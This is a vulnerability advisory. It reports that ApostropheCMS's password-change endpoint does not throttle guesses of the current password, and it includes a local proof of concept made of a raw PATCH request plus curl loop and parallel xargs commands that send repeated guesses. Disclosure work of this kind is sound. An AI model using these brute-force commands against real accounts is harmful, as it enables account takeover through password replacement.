ApostropheCMS: No Attempt Throttling on Authenticated Password-Change Endpoint Enables Unlimited Current-Password Guessing

Summary The self-service password-change endpoint verifies the current password but does not use the login module’s failed-attempt counter, throttle, delay, or lockout mechanism. An attacker with a valid authenticated session can submit repeated guesses for the current password without receiving a lockout or throttle response.

Exact source path packages/apostrophe/modules/@apostrophecms/settings/index.js:621-664

The password-change route is: PATCH /api/v1/@apostrophecms/settings/password

The route calls the password verifier directly through: await self.handleProtectedSubform(req, subform, req.body );

The password verification path is: packages/apostrophe/modules/@apostrophecms/settings/index.js:514-542

async handlePasswordProtectedSubform(req, subform, payload) { try { await self.apos.user.verifyPassword(req.user, payload.passwordCurrent); } catch (e) { throw self.apos.error( 'forbidden', 'apostrophe:passwordCurrentError', { path: 'passwordCurrent' } ); } return subform; }

The verifier itself does not increment the login-attempt cache or enforce a delay: packages/apostrophe/modules/@apostrophecms/user/index.js:412-487

By contrast, the login route explicitly calls checkLoginAttempts and addLoginAttempt in: packages/apostrophe/modules/@apostrophecms/login/index.js:831-929

Local PoC The test used a disposable authenticated guest session against:

Request:

PATCH /api/v1/@apostrophecms/settings/password HTTP/1.1
Host: 127.0.0.1:3000
Cookie: <redacted-authenticated-session>
Content-Type: application/json

{
  "password": "new-temporary-password",
  "passwordRepeat": "new-temporary-password",
  "passwordCurrent": "definitely-wrong-current-password"
}

Equivalent command:

for i in 1 2 3 4 5; do
  time curl -i -sS \
    -b /path/to/temporary-session-cookie-jar.txt \
    -X PATCH \
    'http://127.0.0.1:3000/api/v1/@apostrophecms/settings/password' \
    -H 'Content-Type: application/json' \
    --data-raw '{
      "password": "new-temporary-password",
      "passwordRepeat": "new-temporary-password",
      "passwordCurrent": "definitely-wrong-current-password"
    }'
done

Observed response All five attempts returned the same immediate validation response: HTTP/1.1 403 Forbidden Content-Type: application/json; charset=utf-8 { "name": "forbidden", "data": { "path": "passwordCurrent" }, "message": "apostrophe:passwordCurrentError" }

Observed timings were approximately: Attempt 1: 231 ms Attempt 2: 232 ms Attempt 3: 226 ms Attempt 4: 229 ms Attempt 5: 226 ms

No attempt returned a throttle response, lockout message, Retry-After header, or rate-limit status.

seq 1 20 | xargs -P 20 -I{} sh -c
"curl --max-time 15 -sS
-o /tmp/password-attempt-{}.body
-w '%{http_code}\n'
-b /path/to/temporary-session-cookie-jar.txt
-X PATCH
'http://127.0.0.1:3000/api/v1/@apostrophecms/settings/password'
-H 'Content-Type: application/json'
--data-raw '{"password":"new-temporary-password-{}","passwordRepeat":"new-temporary-password-{}","passwordCurrent":"wrong-current-{}"}'"

Result: 20 requests -> HTTP 403 Forbidden 0 requests -> HTTP 429 Too Many Requests 0 requests -> lockout response

The valid password continued to authenticate afterward: POST /api/v1/@apostrophecms/login/login HTTP/1.1 HTTP/1.1 200 OK

Impact An attacker who has obtained or hijacked a valid authenticated session can repeatedly guess the current password through the password-change endpoint. Each guess receives a normal response, and the route does not apply the login throttle or lockout mechanism. If the current password is weak or reused, this can allow the attacker to pass the current-password check and replace the account password. The attacker would then be able to log in after the password change. The attack requires a valid authenticated session and does not work anonymously. Severity Medium, subject to the application’s session-threat model. The prerequisite of an already authenticated session limits exploitability, but successful guessing leads directly to account takeover through password replacement.